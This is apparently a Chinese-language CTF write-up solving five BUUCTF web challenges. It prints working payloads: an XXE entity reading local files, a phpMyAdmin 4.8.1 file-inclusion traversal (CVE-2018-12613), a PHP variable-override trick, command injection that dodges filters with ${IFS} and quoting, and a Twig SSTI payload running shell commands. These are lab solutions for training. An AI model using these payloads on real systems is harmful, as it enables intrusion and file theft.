BUUCTF-WEB(41-45)

[NCTF2019]Fake XML cookbook

代码处找到

题目也提示了是xxe,我们抓包搞一下

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE hack [
<!ENTITY xxe "hack">]>
<user><username>&xxe;</username><password>123</password></user>

然后我们就读取一下这个flag

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE hack [
<!ENTITY xxe SYSTEM "file:///flag">]>
<user><username>&xxe;</username><password>123</password></user>

成功拿下flag

[GWCTF 2019]我有一个数据库

参考:

[BUUCTF GWCTF 2019] 我有一个数据库_buuctf我有有一个数据库-CSDN博客

扫描目录有一个robots.txt

phpinfo.php

里面让我们去访问phpinfo.php

然后还有扫到phpmyadmin的目录,我们去访问一下

搜集到信息

然后搜版本号找到漏洞CVE-2018-12613phpMyAdmin 4.8.1后台文件包含漏洞(CVE-2018-12613)_phpmyadmin4.8.1 漏洞-CSDN博客

?target=db_sql.php%253f/../../../../../../../../flag

[BJDCTF2020]Mark loves cat

参考:[BJDCTF2020]Mark loves cat | 四种解法 (新解法:强类型比较绕过) - Nestar - 博客园 (cnblogs.com)

这边看到有git泄露

我就直接githack跑了一下

但是啊,我这边githack没啥用很奇怪,什么都没提取出来

然后我就在我自己的机器上跑,没在kali了

也是皇天不负有心人,终于得到了

然后我们打开flag.php确认了flag的位置

然后就打开了index.php

看着有点变量覆盖的味道,然后exit就是die

我们看看第二个条件

就是flag不被GET,POST赋值就输出yds这个变量,但是我们又想让$yds=$flag,那我们就可以利用这个GET这个方法

如果我们GET传入的是

yds=flag

经过那个变量覆盖就是

$yds=$flag

最后输出$yds的值,也就是flag,得到flag(这个回显是在这个网页的最左下角)

更多解法,大家可以看[BJDCTF2020]Mark loves cat | 四种解法 (新解法:强类型比较绕过) - Nestar - 博客园 (cnblogs.com)

[WUSTCTF2020]朴实无华

robots.txt发现一个文件

bp抓包后发现

我这里一直乱码

我这边使用了egde浏览器,然后下了一个扩展

来显示

第一层绕过就是

科学计数法:经过本地测试,在php版本小于等于7.0.9时,intval("1e2")的结果是1,即转换字符串时,遇到字母停止,但是intval("1e2"+1)的结果却是101,这种特性可以绕过诸如intval($num)>2020&&intval($num)>2021。但是当php版本>7.0.9时,这种方法就失效了,因为intval("1e2")和intval(1e2)的值均为100。

payload如下:

num=1e4

第二层就是MD5弱比较只要本身字符串0e开头,MD5加密后还是0e开头就行

md5=0e215962017

第三层

strstr那个判断就是我们不能有空白符,我们可以用${IFS}绕过

意思就是不能用cat

我们先ls看一下文件

?num=1e4&md5=0e215962017&get_flag=ls

然后查看文件

?num=1e4&md5=0e215962017&get_flag=c''at${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

[BJDCTF2020]Cookie is so stable

参考:

[buuctf-BJDCTF2020]Cookie is so stable(小宇特详解)_buuctf cookie is so stable-CSDN博客

upfine的博客 (cnblogs.com)

1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园 (cnblogs.com)

提示就是cookie,我们拿去解密一下,MD5解密,解不出来说明我有问题

然后就是SSTI,我输入了

{{7*7}}

回显就是49,说明存在模板注入

payload:

user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

热门相关:她那伤脑筋的继母   剑仙三千万   重生娘子在种田   从港综签到成为传说   新婚夜,大佬调戏娇妻上瘾了